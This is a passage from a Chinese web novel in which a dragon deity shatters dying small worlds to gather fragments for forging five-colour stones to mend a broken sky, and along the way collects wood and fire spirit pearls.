而颜辞云所在的这方小世界的“内壳膜”损毁的表现，就是“共工怒而触不周之山，天柱折，地维绝”。 颜辞云终于明白了台州那些空间裂隙的来由，明白了“虐文女主”们在这个小世界开party的理由，甚至明白了灭世之灾必然到来的原因。 所以，现在，颜辞云只剩下了最后两个问题： 五色石是否真的能够补天？ 如果可以，谁去补？ 颜辞云以物品栏为通道，从本体处转移过来一立方米的五色石。 如今，颜辞云手上的五色石其实并不多，只从大世界的空间裂隙旁挖到了三立方米不到。 在来到这方小世界后，颜辞云的本体一边寻找炼制五色石的方法，一边在台州大地上四处寻找空间裂隙，看能不能像之前那样，再挖点五色石出来。 坏消息是，台州大地上的空间裂隙很多，可五色石极少。 哪怕颜辞云的本体几乎把台州翻了个底朝天，竟都没能再凑齐更多一点儿的五色石，以致于她降临小世界前五色石有多少，天塌后五色石还是多少。 好消息是，颜辞云的本体在大世界捣鼓多时，终于在刚刚找到了炼制五色石的方法！ 那是非常巧合的一幕—— 就在小世界天塌的那一刻，颜辞云的本体恰好路过台州的某道空间裂隙。 而就是在这一瞬间，有一片薄如蝉翼的东西冲出空间裂隙，从本体面前飞过。 它无形无质，无法用肉眼捕捉，也没有引起任何空气的流动。 如果不是颜辞云的本体乃四季神明，对地火水风有天然的掌控力，恐怕连颜辞云的分身站在那“蝉翼”面前，都无法发觉“它”的存在。 但就是那么巧。 它穿过空间裂隙，飞入了颜辞云的世界，飞过了颜辞云的眼前。 于是颜辞云伸手，将它捉在手中。 【乾坤万一：一小块世界碎片，材料，可用来炼制五色石。】 踏破铁鞋无觅处，得来全不费功夫！ 这或许是纯粹的巧合，但某种程度上来说，它也或许能被称作命运。 但，不管是“巧合”还是“命运”，颜辞云终于找到了批量炼制五色石的方法： 只要暴力打碎某个小世界，获取大量的【乾坤万一】，颜辞云就再也不缺五色石了。 可是，随着这一个问题得到答案，另一个问题也随之浮现：造价如此昂贵甚至称得上可怕的五色石，它究竟有什么用处？ 它是否真的能用来补天？ 颜辞云托着手上的一立方米五色石，一路上升、上升，直到苍穹的尽头。 她没有理会大地上慌乱的人群，只站在天上那道可怕的裂隙前，试探着取出物品栏里的五色石，凑近裂隙。 系统9122震惊：【你竟然有五色石？！你想补天？！】 颜辞云：很好，答案出现了，原来五色石真的能用来补天。 可是，也不知道是哪里出了问题，颜辞云拿着五色石在天之裂隙旁左比划右比划，她眼前的五色石依然是五色石，裂隙依然是裂隙。 大家都沉默不语，只有颜辞云在表演哑剧。 颜辞云尴尬地停下手中动作，有些汗颜：明明神话传说里，只要把那五色石往上一贴，破破烂烂的天就唰地一下补上了，怎么这会儿却……所以，她这是缺了道什么工序吗？ 这时，系统9122也终于从震惊中回过神来，有些卡壳道：【厉、厉害，你竟然真的有五色石……】 它喃喃着：【不过五色石补天的话，倒不是这么用的……】 “那它该怎么用？”颜辞云虚心求问。 系统9122奇道：【你还真想补天？没有这个必要吧？】 “为什么没有？”颜辞云又问。 系统9122毫不犹豫：【因为代价太大。】 颜辞云没有再继续这个问题。 她知道系统9122在说什么。 所谓的五色石，颜辞云已经很明白了，那就是世界碎片的一种显现方式，类比一下就是摸不着的雾凝华后成了摸得着的霜。 所以，所谓的补天，其实就是用世界碎片显化出来的“霜”，去修补世界。 拿世界碎片去修补破碎世界，这很合理。 可问题是——世界碎片怎么来？ 难道要毁掉另一个小世界，收集那个世界的碎片，炼化为五色石后，再拿这些沾满异世界生灵鲜血的五色石来拯救这一方小世界吗？ 这可不像什么正派人士会干的事。 甚至不太像脑袋正常的人会干的事。 所以系统9122对“补天”的态度其实是很置身事外的。 颜辞云很理解系统9122的立场，不过—— “不过现在天上的裂口不算大，如果有足够的五色石的话，应该还是可以救一救的吧？” 总而言之，过分插手他人命运虽不是颜辞云的风格，但什么都不做也不是颜辞云想要的。 哪怕是为了这个小世界的花花草草，颜辞云觉得自己也得救上一救。 系统9122迟疑道：【话虽如此，但想要补上这个裂隙，起码得有万斤的五色石吧。】 颜辞云掂了掂手里的一立方米五色石，估算出了它的重量。 500斤。 轻得不可思议。 要知道，哪怕是一立方米土，压实了也有3000斤左右，而五色石名为“石”，一立方米却仅有500斤。 且不论这个中两个有多离谱，总之，颜辞云如果想要补天，她起码得拿到20立方米的五色石，才能弥合这一道看似不大的裂隙。 颜辞云沉吟了一下，冷不丁道：“如果我说，我有办法搞到这万斤五色石，那之后补天的事，会很麻烦吗？” 系统9122懵了，良久才吐出一个词： 【……啊？】 能搞到万斤的五色石？ 您是什么专业毁灭世界的邪神吗？！ 第145章 礼貌的龙 很遗憾，颜辞云…… 颜辞云说自己能搞到大量的五色石，并非是信口雌黄，而是真的有这么一条路子。 比如说—— 在大世界金丘以东的海上，那无尽迷雾中，还有七颗尚未被颜辞云造访的“星星”。 最初时，那迷雾中一共有九颗“星星”，每颗“星星”都代表着一个小世界。 之后，随着颜辞云这位末日见证者——也可能是灾星——的造访，其中的两颗“星星”都随之寂灭，并被颜辞云随手搬到了自己的世界，当作“填海造陆”的那个陆。 但事实上，除了把这些“星星”搬到自己的世界，让它们重新焕发生机外，颜辞云其实还有一个选择。 那就是任由它们毁灭。 而如今，当颜辞云发现了【乾坤万一】这样一份材料后，她更是有了第三个选择，那就是主动将这些寂灭的星星撕裂，获取能用来炼制五色石的【乾坤万一】。 所以，再回到最初的那个问题： 以一个甚至好几个小世界的寂灭，换来一个小世界的重生，值得吗？ 颜辞云的答案非常明确：以死亡的毁灭换生命的再次前行，这怎么不值得？ 说干就干。 颜辞云没有耽搁，立即切换回本体，化作原型，重回海上迷雾深处，拜访了那片星星的矩阵。 这是颜辞云第三次来到这里。 上一次来到这片星星矩阵时，只有三颗星星被点亮。除了最后被颜辞云移进大世界的“台州”外，其它的两颗星星是十分抗拒颜辞云的造访的—— 这可能是因为当时那两个小世界的外层屏障还十分坚固，有着拒绝一切外神力量的底气。 但也可能是那两个小世界直觉惊人，看穿了颜辞云的灾星本性，对她十动然拒。 总而言之，这一次，当颜辞云再探头进来瞧时，喝，也不知道什么时候，迷雾中剩下的那七颗星星，竟全都被点亮了！ 并且，这七颗星星里有三颗都奄奄一息，剩下的四颗也一副苦苦支撑的样子。 颜辞云：怎么说呢，真是一点都不意外呢。 游历了三个小世界后，颜辞云已经明白，无论大世界还是小世界，它们其实终会有寂灭的那一天。 只不过小世界寂灭的速度格外快罢了。 ——瞧，她上次来时还硬气拒绝她的拜访，表示自己还能再活五百年的蓝星和紫星，这会儿不就快挂了么！ 颜辞云瞥了两眼，也懒得回去拿那枚浮在金丘上空待机的空白神格，只随意掏出一块神力碎片，捏了个马甲，就冲进了小世界里。 大概是出于对水的亲近，颜辞云第一个降临的小世界，就是那颗布满水炁的全蓝星球。 颜辞云第一次看这颗星球时，它就是全蓝色的，而如今它快要走到寂灭了，也依然是全蓝色的，所以颜辞云便下意识以为这是一颗海洋星球，会生活在这颗星球上的，也应当是鲛人、美人鱼、大鲨鱼之类的海洋生物。 但颜辞云大错特错了。 因为这颗星球，在最开始时，是一颗草原星球。 这里曾有过大片的陆地，以及大片肥沃的土壤与草原。 植物，动物，飞鸟，牲畜。这个世界在用它最大的善意，优待着那些在它体内诞育的生灵。 后来，也不知道过去了多少年，文明在这颗星球上自然而然地出现了。 那诞生在陆地上的，是一群像鹤一样美丽又无害的生灵，而那诞生在海洋的，是一群介于鱼和蛇之间的生物。 前者与其说是文明，不如说是一个散漫的族群。 她们以血缘关系为纽带，称族长为大母，意思是对方如母亲一样令人尊敬。她们大多没有什么野心，爱好和平，崇尚自由，会精心饲育自己的每一个子嗣，最大的兴趣就是飞上天空，探索这个世界。 而与之相对的，那些在水里诞生的，同样不像是“文明”，而像是某个令行禁止的军事组织，内部有着严格的等级制度。 他们嗜血好战，称他们的族长为主人，好勇斗狠，慕强恨弱，最大的乐趣就是征服。 他们一边自愿将自己贬为强者的奴仆，以力量和利益衡量一切，不怜悯任何生命和弱小，把族内的所人包括自己都当作牲畜使用，并以自己能成为最有用的牛马为豪；一边又时时刻刻想要上位，甚至一旦爬上高位后，立即会对之前的主子翻脸，把对方践踏成尘埃。 这两个种族，一个翱翔在天上，一个爬行在泥里，本该永永远远都不会有交集，可烂俗的事就这样发生了—— 飞鸟族群里最美丽的那只鹤，与鱼人群里最强的少主相爱了。 它们或许曾是非常相爱的。 但不管它们是真的相爱过还是只爱过它们相爱的错觉，总而言之，它们爱到最后，事情走向了最恶俗的结局。 鱼人族的少主通过自己天真无邪的恋人，定位到了飞鸟族的位置，一举将飞鸟族击溃。 那一天，无数尸体从空中跌落，鲜血染红绿草。 飞鸟族十不存一，远远离开了这片草原，而那只最美的鹤却被铁链锁住翅膀，拖进了海的深处。 在这之后，没人知道发生了什么，只知道那海平线一日比一日高，直到某一天，大海彻底淹没陆地，原本肥沃的土壤化作泥沙，而海底那群穷兵黩武的鱼人族也不知道为何，族人一日比一日少，直到—— 剩下颜辞云眼前这最后十只鱼人末裔。 它们在见到颜辞云的第一面，便将颜辞云视作神灵，五体投地地拜了下去，不等颜辞云多问什么，就用苍凉悲痛的语调告诉了颜辞云这个星球曾经的过往，迫不及待地想要得到颜辞云的拯救。 颜辞云静静听着，并没有对这一切多说什么。 而事实上，早在颜辞云降临这个小世界的瞬间，她就发现了这个世界的“真相”。 因为，那所谓的飞鸟族的鹤，以及鱼人族的少主的故事，不正是颜辞云见过的奇葩虐恋——“凤族凤清姿和龙族龙斯年”的真实模样吗？ 在“龙凤虐恋”故事里，凤清姿并没有被龙斯年迷昏了头。 她及时向凤族族长通风报信，保护了凤族的大部分人；她与凤族一同迁徙，离开了故土也离开了战争；她甚至还小小设计了龙斯年，让龙斯年最后选择为她回溯时间，让这一切从头再来，让一切的悲剧都湮灭在那条不存在的时间线里。 但，这一切都只是她的执念罢了。 是她永远不会实现的梦。 在真正的现实里，她爱错了人，失去了一切，成为了不可饶恕的罪人。她不但将自己的族人害得十不存一，也害得自己被所谓爱人以爱的名义剪去翅膀，最后腐烂于大海深处。 她没能拯救任何人，包括她自己。 她没有让任何仇人为此付出代价，除了她自己。 因此，数百年后，随着某次海底地震，她的尸骨落入极渊，心魔与怨气污染了星球核心，最后一场异常海啸掀起，淹没了整个世界。 虽说在这之后，也就是颜辞云降临这个小世界前几十年，系统来到了这里，将她带去了另一个小世界度化，可这场毁灭一切的洪水，却再也停不下来了。 颜辞云一边在脑中整理思路，一边耐心听着这些鱼人们悲痛欲绝的哭喊和求助。 而当它们的哭声告一段落后，颜辞云问道：“你们鱼人族莫非全族都只有雄性？” 鱼人族仅剩的十余个雄性末裔面面相觑，最后答道：“回天神的话，我们鱼人族，倒、倒并非只有雄性，只是那些雌性都太过弱小，所以——” 颜辞云摇了摇头，打断了鱼人族的话，又问道：“按照你们的说法，这而陆地化作海洋的事，对你们鱼人族来说应当是天大的好事才对，你们之前是如何过的，之后也可以这般过，为何会沦落到如今的地步？为何这方世界，除了你们之外再无其它生命？” 鱼人族末裔张口结舌，吞吞吐吐。 而颜辞云也不需要它们回答，因为她已经从海底各种生物的森森尸骨，和海水中的冲天怨气中明白了一切。 似乎是察觉到了颜辞云的态度冷淡，鱼人族中那个面容阴狠却强做虔诚的干瘪老者，露出了一个难看笑容，道： “回天神大人，您有所不知，我们鱼人一族曾经也建立起了强盛文明，但随着数百年前的大灾难，我们的文明一朝坍塌，族人十不存一，剩下的幸存者们，更是颠沛流离，自然也顾不得那些记载了我们一族所有智慧和历史的典籍。 “现在，站在您面前的我们，是海底文明最后的微光。我们愚昧，所以天神大人您问我们的这些事，我们想要答，也答不上来；但与此同时，我们也承载着一个文明最后的希望，所以我恳求您，天生大人，我恳求您拯救我们于末日，恳求您拯救一个文明最后的火花。 “我们这些鱼人族的末裔，都不是什么贪生怕死之徒，您面前的这些，都是我们鱼人族最好的儿郎！而我们之所以活得挣扎、活得这样丑陋不堪，不是为了我们自己，而是为了我们的文明！因为如果连我们都死去了，我们曾经的文明和荣光，又有谁能够知晓呢？ “所以，我们日日夜夜地恳求，祈求老天爷赐予我们一族一条活路，祈求老天爷能让我们鱼人族的文明火花能有重新点亮的一天，而您——天神大人，您就是在这个时候到来的。您就是老天爷给我们的希望，是老天爷给我们文明的活路啊！” 鱼人族这个干瘪老者的话语极具煽动性，并且将颜辞云捧得极高。 他绝口不提那些消失的鱼人族雌性，也绝口不提海底淤泥都盖不住的累累白骨、森森怨气，只在颜辞云面前将头伏得低低的，给颜辞云的帽子戴得高高的，给颜辞云身上的道德包袱塞得满满的。 但很遗憾，颜辞云没有道德。 而只要一个人没有了道德，就没有人能够道德绑架她。 所以颜辞云毫不动摇，毫不留情，转身离开。 甚至离开前，她还说了个冷笑话：“抱歉，我帮不了你们。 “要说为什么……大概是因为，我是老天奶叫来的吧。” 没有为身后的哀嚎、恳求甚至是咒骂停留半秒。 颜辞云就这样消失在了这方小世界最后的十几个生命面前。 因世界的流速不同，所以，哪怕另一个被共工撞倒天柱的小世界危在旦夕，颜辞云也依然可以在这里安静礼貌地等待这些鱼人末裔“自然死亡”。 或许“礼貌”这样的事在万界都是通用的。 只要你（强大的同时）足够礼貌，你就会获得同样的礼貌回报。 瞧，只不过是这个小世界的短短数天，这群知晓颜辞云赶时间的鱼人族末裔们，就以同样以礼貌报答了颜辞云，争先恐后地咽了气，没叫颜辞云在这个无聊的世界里耽搁更长时间。 而当最后一个生命也从这颗星球上消失、浩然天地间除了汪洋再无其它时，为鱼人族末裔们的礼貌而感动的颜辞云，决定不辜负这些鱼人的心意，立时切回本体，伸出龙爪，悍然用力！ 下一秒，这个世界化作无数或有形或无形的碎片，纷扬洒落。 【乾坤万一X1】 【乾坤万一X1】 【乾坤万一X1】 …… 颜辞云伸爪一捞，将自己的战利品塞进物品栏里，接着马不停蹄地奔向下个世界。 第146章 木灵珠 耶梦加得的传说 颜辞云第二个进入的，是那颗紫色星球。 在进入这颗星球前颜辞云还在想，到底是什么样的星球才会呈现出这种紫色的外观，简直就像是整颗星球都充斥着纯粹的雷电一样。 而当颜辞云降临后，她定睛一看，霎时间就明白了： 可不是整颗星球都充满了雷电么！ 只见，在这颗星球上，“天”并不是颜辞云所熟悉的天，而是由一块无边无际的巨大雷云，将整个星球严严实实地包裹起来。 而所谓的“地”，也很难说是地，反而像是颜辞云记忆中的非牛顿流体。当人踩在上头不动时，会感觉自己像是踩在了什么流沙或沼泽中，会不断地下陷，可当人用力踏地快步行走时，却反而像是行走在正常平稳的土地上。 这样的景像本已经够奇特了，而更令颜辞云惊奇的是，这里没有河水与海洋，稀薄的空气里处处都能见到雷光闪动，只要颜辞云身上稍稍摩擦出一点儿静电，就会立即引起四周的大片电火花。 这才叫一路火花带闪电啊！ 颜辞云新奇地打量这个世界，目光在四处巡视一圈，很快就找到了这个世界的生命聚集地。 是的，在这么个违背常理超出常识的地方，竟然也有生命的存在。 而意料之外又情理之中的是，这里竟然就是颜辞云所遇见的最后一位“虐文女主”——那个给自己套了混沌金莲的皮后强势归来的桃花妖的老家！ 也正是在这里，颜辞云听到了桃花妖的故事的全貌。 那是一个俗套的故事。 所谓的俗套，就是千百年来，曾以无数的形态无数的面貌在无数不同身份的人身上演绎过无数遍的故事。 简而言之就是，一个身为低微的女子在危难中救下了一个身份高贵的男子，甚至在被恶贼追杀时都不离不弃，不但为男子解了毒，还成功将男子安全送回了家。 大恩大德无以为报。 于是男人娶了女人当妻。 而女人成了妻后，她救男人的那一命便不再是大恩大德，而是她理当做的事。 于是她对男人便没有了恩。 没有了恩后，男人自然是想怎么磋磨她都可以，无论是轻蔑贬低她，还是架空她让下人敲打她，甚至将她贬妻为妾，都可以。 于是最后，女人“命薄”，受不住这天大的福分，年纪轻轻就驾鹤西去，而男人则名利双收，既有知恩图报不离不弃的仁义之名，又有娇妻美妾的里子，最后还在儿孙绕膝的年纪寿终正寝，一生圆满。 对了，这男人是太子，后来是皇帝。 而女人是医女，后来是“先皇后”。 “那，后来呢？”颜辞云问这方小世界里最后的幸存者们，“后来又发生了什么？你们的世界变成这般模样，与这个故事有何干系？” 那些蜷缩在安全区的黑瘦麻木的幸存者们讷讷说：“后来……有人挖了先皇后的墓……” 后来，在这个俗套的故事之后，在先皇后死去多年、老皇帝都咽气了的三年后，有人挖开了先皇后的墓。 但事实上，一开始没人知道那是先皇后的墓，因为从外观上来看，那不过是乡野间躺着的一个土包罢了，如果不是乡人盖屋子时挖开了这个土包，谁能料到里头竟然还躺着一具尸体—— 一具被扒光了衣服后弃于荒野，任由风吹雨打、泥土掩埋、虫蚁啃噬，却偏偏神异得数年不腐的艳尸！ 而谁又能料到，这艳尸竟还会睁开眼，重回了人间，在朝堂上、后宫里、天下间搅得腥风血雨，誓要颠覆这高氏的江山呢？！ 至此，一场你来我往的大戏就此展开。 忠臣名将、能人异士、妖魔鬼怪，恶鬼红颜。 他们粉墨登场，招数频出。 从暗流涌动的政斗，到刀光剑影的战争，再到火雷齐发的斗法，最后闹到天崩地裂，山河倾覆。 这一切的一切，都只不过发生在短短十三年间。 十三年后，天地崩碎，灵气飞速消退，那些仙人道祖眼睁睁看着自己的身体与天地一同枯萎，而与此同时，大量的雷炁随着界外罡风吹遍世界，吹得凡人肉骨分离，当场暴毙。 这个世界，变得再不适合人类居住了。 所以，没错。 别看颜辞云面前这些蜷缩在安全区的幸存者们一个个惨兮兮的，瞧起来比难民还像难民，但其实曾经的他们都是有着相当了不起的身份的。 比如说XX山的XX居士，XX洞府的XX仙人，XX教派的XX老祖，等。 这些曾经坐拥洞天福地、受无数徒子徒孙供奉，入世后被人前呼后拥、无数王公贵族们顶礼膜拜的仙人道长老祖们，恐怕怎么都不会想到，区区一介凡女的死，竟会导致山河破碎，天地倒转。 “不过是……区区旱魃……” 瞧，哪怕是苟延残喘无数年后的现在，仍有人耿耿于怀，神经质般地念着。 “祸水，祸水……不过是肉身的死去罢了，竟生出那样的怨恨执念，最后令天地倒转，灵气灭绝……如此没有格局眼界，以一人的怨恨害千千万万人的一生，愚昧啊，糊涂啊！” 颜辞云瞥见了这人，好奇问道：“你怎么不提那个皇帝呢？” 既然如此怨恨颠覆天地、让自己沦落至此的人，那么—— 那个害死了医女后连一处安身之地都吝于给她，随意将她的尸身弃于绝地，只恶毒地想要她永世不得超生，却没想到反而“助”医女从凡人化身为可怖旱魃的罪魁祸首呢？ 那个过了一生美满日子后，美美死掉的老皇帝呢？ 你怎的不提他？ “还有那些将事态一步步升级的人。” 在最开始，这不过是一个普通女人的报复罢了。 虽然那个报复之人的身份奇特，是千年难见的旱魃，但说到底，这件事的本质，依然只是一个枉死的女人想要加害者的后代付出代价罢了。 真正让这件事变得一发不可收拾的，是不愿付出代价的高氏皇室，是蠢蠢欲动的士族名流，是想着江山多娇能者居之的将领霸主，是想要斩杀魔头匡扶正义的国师道长，甚至还是江湖上心怀鬼胎的邪道术士，还是小的打不过就摇老的的教派名人，等等。 这场不可思议的大戏能唱到如今这般地步，那上台开腔的每一个人，都逃脱不了自己的罪。 “可为什么罪人这样多，你却偏偏只念那只旱魃？” 颜辞云好奇发问。 被颜辞云询问的那人没有回应，只沉浸在对祸世旱魃的怨恨之中，恨天恨地恨女人，恨得无法自拔。 颜辞云摇了摇头，目光一转，就没再把这件事放在心上。 毕竟，都说了，这是一个俗套的故事。 好事不提女，坏事不提男，世界生于女人□□时无人提及，世界毁于男人之手时疯狂推锅……以上这些，都不过是“俗套故事”里的最基础的一环罢了。 因此，接下来，颜辞云环视一圈，只粗粗看过这方小世界和小世界的幸存者们后，便转身离去，再不回头。 颜辞云就如同她来时那样，静悄悄地来，又静悄悄地离开了。 之后，颜辞云便在等这些末日幸存者们嘎掉的过程里，抽空在这难得一见的奇特世界里逛了逛。 好消息是，颜辞云在这个世界的核心找到了一个意料之外的东西。 【木灵珠（孕育中）：蕴含着无穷木炁的灵珠，本该集生命与毁灭与一体，但若孕育过程不成功，则只会呈现出单系属性。】 竟然是木属性，而不是雷属性灵珠？ 颜辞云只是稍稍一想，就很快明白了。 世界属性可分四元素，即地火水风，但也可按五行划分，即金、木、水、火、土。 在五行中，雷属木，意为春雷动则木气发，代表万物初始之动。 所以，别看这世界似乎变得一塌糊涂，人畜不生，白骨遍野，好似破灭在即了。 可事实上，新世界的脉动，正在旧世界的遗骸上悄然震响。 换而言之，这个世界并不是朽死的高木，而是熬死高木后准备在这块腐木上开花的新芽！ 那么，这代表着什么？ 代表着颜辞云想要熬死这个小世界收集这方小世界碎片的计划泡汤了！ 颜辞云抓了抓头，叹气一声，有点苦恼又有点欣慰。 “好吧，既然你自己都把自己安排好了，那我也不是什么非要看你过得不好的坏人。” “就让我助你一臂之力吧！” 颜辞云将手中得到的木灵珠向上一抛，那灵珠便带着一路耀眼的火光与雷电，飞出天外，被外界等待已久的颜辞云的本体伸爪握住。 此刻，盘踞于世界之外的巨龙睁开了眼。 祂握着这颗诞生于这小世界的半成品木灵珠，环绕着这个小世界轻轻游曳一圈，而后张嘴一吸—— 轰隆隆！ 在那不可思议的震响与雷鸣中，无穷无尽的雷炁升腾而起，纷纷涌入巨龙口中。 一秒，两秒。 十秒，二十秒。 仅仅不到一分钟的时间，这几乎毁灭了这方小世界里所有生命与文明的狂雷，竟就这样被巨龙尽数吸入口中。 紧接着，巨龙又扭过头，张嘴向爪中的木灵珠一吐。 于是，那好似无穷无尽的雷炁，又疯狂向木灵珠涌去。 这一刻，如果从小世界生灵的角度来看，这场兔起鹘落的异变，是由一条环绕世界一圈还有余的庞然巨物开始的。 祂似乎从虚空中诞生，意图吞噬整个世界，可祂没想到的是，这方世界还有自保的余力，于是那狂涌的雷电为了保护世上最后的生灵，主动飞出天外，与那恶蛇大战了三百回合！ 虽然，小世界的生命听不到来自天外的声音，可他们能看到天边的可怖紫光足足持续了十天十夜！ 这十天里，所有的末日幸存者们都从他们的安全区里走了出来，对着天外的紫光痛哭流涕，喃喃自语，顶礼膜拜，最后甚至开始胡言乱语。 而当最后一丝雷电也消失后，他们抬头，虔诚凝望着天空，提心吊胆地等待着最后的宣判——或是等待着那吞噬世界之蛇的败北，或者等待着世界的灭亡。 一秒，两秒，三秒。 一天，两天，三天。 终于，他们欣喜若狂地发现，世界熬过了末日，重新变得宜居起来。 而一直苟延残喘的他们也终于迎来了新生！ 于是，许多许多年后，这方小世界里流传着一条悠久的神话，那是关于吞噬世界之蛇耶梦加得的传说。每当说起这个故事时，人们都会手舞足蹈地赞美着生命的强大，赞美先祖的顽强，同时欢呼着耶梦加得的败北。 至于那条“试图吞噬世界的耶梦加得”最后到底如何了？ 世界之外。 “耶梦加得”低头看着自己的战利品： 【木灵珠（完美）：蕴含着无穷木炁的灵珠，动之为死，静之为生。】 颜辞云满意点头：“搞定！” 继完美水灵珠之后，又到手一颗完美木灵珠，并且比起“安静无害”的水灵珠来说，这颗木灵珠可谓是攻守兼备，给了颜辞云日后从容面对大世界异兽们的围殴的底气。 更完美的是，这颗灵珠非常适合用来种田！ 有了木灵珠，谁种地还要看季节啊。 以后她想怎么种，就怎么种，想在哪里种，就在哪里种，而且一种就能收获一谷仓，种一亩地能养活一世界人！ 我收收收收收……嘻嘻！ 畅想未来的颜辞云小心翼翼把宝贝木灵珠往物品栏里一塞，之后便开开心心地去往了第三个世界。 第147章 火灵珠 超新星爆炸 第三个迎来破灭的小世界，是一个还没来得及诞生出生灵、就走向了毁灭的世界。 这是非常少见的。 因为一般来说，小世界的寿命哪怕比起大世界来说虽然不长，但那也是以大世界为参照物。 而在正常情况下，当没有小世界生灵作天作地搅风搅雨的时候，小世界基本都能撑很长很长的一段时间。 既然如此，这方没有外因干扰又没有内因拖后腿的小世界，是怎么走到毁灭的？ 颜辞云在这小世界中转了两圈后，可算是找到了原因—— 五行失衡！ 这方小世界里，土炁不知为何，竟一枝独秀，远远超出了其它四炁的存在，导致小世界的土地无限膨胀。 当这样的膨胀达到一定程度后，混乱的炁反而会让整个小世界的核心受到反作用力而收缩，导致这方小世界的密度极高，磁场极为混乱，最终在这无尽的混乱、不平衡和旋转中迎来爆炸。 这听起来是不是很熟悉？ 没错，这就是超新星爆炸！ 这样的小世界，无疑是既危险的，自然也不可能出现什么生命。 甚至如果不是因为来到这方小世界的是颜辞云这样的高位神灵，其它稍弱一点的小神恐怕一来到这里，就会被这方小世界混乱的磁场湮灭了。 颜辞云新奇地绕着这个奇特世界转了一圈，心中十分想要亲眼目睹传说的超新星爆炸到底是什么模样，顺便再捞一捞超新星爆炸时诞生的黄金。 想来这种“十成新”的黄金一定漂亮极了。 但内核，此刻的颜辞云实在有点儿赶时间——她的神力分身这会儿还站在天裂隙的下头等着救急呢！ 想到这里，颜辞云干脆变回原形，准备手动加速这方小世界破灭的过……不对，等等。 颜辞云动作一顿，突然想到一件事： 既然上个布满雷暴的小世界可以开出木灵珠，那这个土炁膨胀的小世界，是不是也可以开出一个土灵珠？ 说干就干！ 颜辞云二话不说，祭出水木两颗灵珠护体，径直钻进这方小世界的地核深处，左掏掏右掏掏，想要掏出什么宝贝来。 而最后，颜辞云还真掏出了一个——火灵珠！ 【火灵珠（孕育中）：蕴含着大量火炁的灵珠，至烈至热，向死而生。】 颜辞云看着手上的灵珠，有那么一瞬间摸不着头脑，甚至在地核深处又转了两圈，以为是自己落下了什么。 但没有。 在这个危险暴烈、压力极端沉重的地核深处，真的仅有这一颗火灵珠而已。 颜辞云把这事儿暗暗琢磨了一下，隐约摸到了一点门道。 这方小世界，之所以没有凝聚出颜辞云想象中的土灵珠，很可能是因为这方小世界里土炁虽强，但大多都填在了小世界的本体上，导致这方小世界在诞生之初就以极快的速度膨胀，反而没机会凝聚出土灵珠这样的宝物。 而与此同时，过强的土炁也催生出了金炁，使得这方小世界在后来的塌缩过程里不断聚变，在星球表面生出了一层固态的铁元素壳层，甚至越往深处，金炁越强，令各种重金属元素充斥了整个小世界内部。 在这样极速的演化，这方小世界最暴烈强盛的土炁与金炁都参与了反应，反而失去了凝聚出宝物的条件，而是化作了小世界本体最纯粹的实力与混乱。 所以最后，反倒是排行第三的火炁，有了孕育灵珠的条件！ 只不过，可以想象的是，这颗火灵珠不管是否孕育成功，都只有一个结果—— 要么是孕育不成功，最后随着这方小世界的爆炸一同毁灭，要么是孕育成功，将小世界的爆炸日拖延数年，最后仍走向不可避免的毁灭。 但如今好了，不管小世界怎么样，火灵珠是有人/神来捞了。 颜辞云把火灵珠拿到手上，转身飞出地核。 紧接着，颜辞云找到这方小世界五行最紊乱的地方，以水、木二灵珠为媒介，往小世界里喷了一大口炁。 这方小世界，土、金、火三炁最盛，水、木二炁最少。 而如今，它骤然得了这样一大口外来的补药后，会如何？ 是直接补上五行不全的缺口么？ 不！ 如烈火浇油一样，轰然炸裂！ 只见，无穷无尽的火焰带着骇人声势，从地核深处爆发，只是一瞬间，就将大地和星球外层的金属外壳撕裂，咆哮着席卷出来。 颜辞云看着这一幕，不急不惧，手指轻点，像是拨弄蛛网一般，将四散狂暴的火焰一缕缕收拢，全部引向火灵珠的方向，催促着这颗原本还需要数十年乃至数百年才能孵化的火灵珠，快快长大。 与此同时，颜辞云也没有歇着。 她操控着自己之前随手捏出的神力马甲，在这方破碎的小世界上方左右飞舞，有时候是捉那些散落宇宙的【乾坤万一】，反手塞进制造台炼制五色石，有时候纯粹就是看中某块矿了，拿出钻石稿上去就一顿哐哐狂敲。 【黄金】X10 【黄金】X6 【黄金】X22 【黄金】X17 …… 就这样，数天时间转瞬即逝。 以一颗即将爆发的中子星为祭品，颜辞云终于把这颗孕育中的火灵珠炼制成功！ 【火灵珠（完美）：蕴含着无尽火炁的灵珠，至烈至热，其火焰可熔炼万物，亦有涅槃重生之能。】 涅槃重生？ 哇，意外收获呢。 虽然颜辞云如今手上用来复活的手段还蛮多的——比如说用四个神力碎片就可炼制出一碗的还魂汤，比如说台州冥府里跳进去就能投胎的轮回井。 甚至颜辞云直接用【改造】的能力捏一具身体，再把魂魄塞进去也能算“复活”！ 但，手牌嘛，谁会嫌多呢？ 至此，金、木、水、火、土五行灵珠，颜辞云已经收集了水、木、火三颗。 想来最后的两颗灵珠，应该也不会遥远了吧？ 颜辞云开开心心把火灵珠也塞进物品栏，而后回头望向迷雾中的星星矩阵。 只见，这个原本神秘的九星矩阵，在被颜辞云搬走的搬走、撕碎的撕碎后，如今还能好生在颜辞云眼前闪烁的，只剩下了五颗。 而还没被颜辞云拜访过的，则只有四颗。 但颜辞云物品栏里的五色石，却已经成功来到了24单位，也就是24立方米。 并且，颜辞云手上还有大量的【乾坤万一】没有投入炼制呢！ 足够了。 剩下的四颗没来得及探索的星星，颜辞云便也不急着去了，毕竟探索新世界这样的事，颜辞云无论想什么时候去、甚至不去都可以的。 可补天这件事，却是等不及的。 颜辞云心念闪动，只是一个眨眼间，就将注意力切换到了神力马甲风里希这边。 这时，因迷雾内外时间流速的不同，颜辞云这边已经倒腾了数天，风里希所在的这方小世界，却只不过渡过了短短三个时辰。 三个时辰的时间，不长，却也不短。 因此，在这方小世界众人度过最初的震撼、惊骇以及惶恐绝望后，也终于是有人站出来，想到补天的事了。 而这些人，正是神之部族的那些神灵。 这是理所当然的。 别看颜辞云在这方小世界里遇到了N个“虐文女主”和N个超凡体系，其中仙帝魔帝鬼帝妖帝都是按组论的，可说到底，那些都是幻境，是单纯给“虐文女主”们渡劫用的，并非真实。 真正属于这片土地的超凡体系，其实仅有所谓的“神之部族”一脉而已。 所以，那愿意站出来、意图扶天倾的人，自然也与神之部族密切相关。 比如说—— 被大启朝皇帝赐给颜辞云当侍从，之后又被颜辞云丢在神之部族边境，负责观察共工部族动向，后来又不知怎的竟在神之部族混了个客席位置的青阳。 当共工和颛顼大战，撞倒天柱时，第一个注意到这件事的，甚至不是颜辞云，而是这位青阳！ 第148章 天塌后的两个时辰 “没时…… 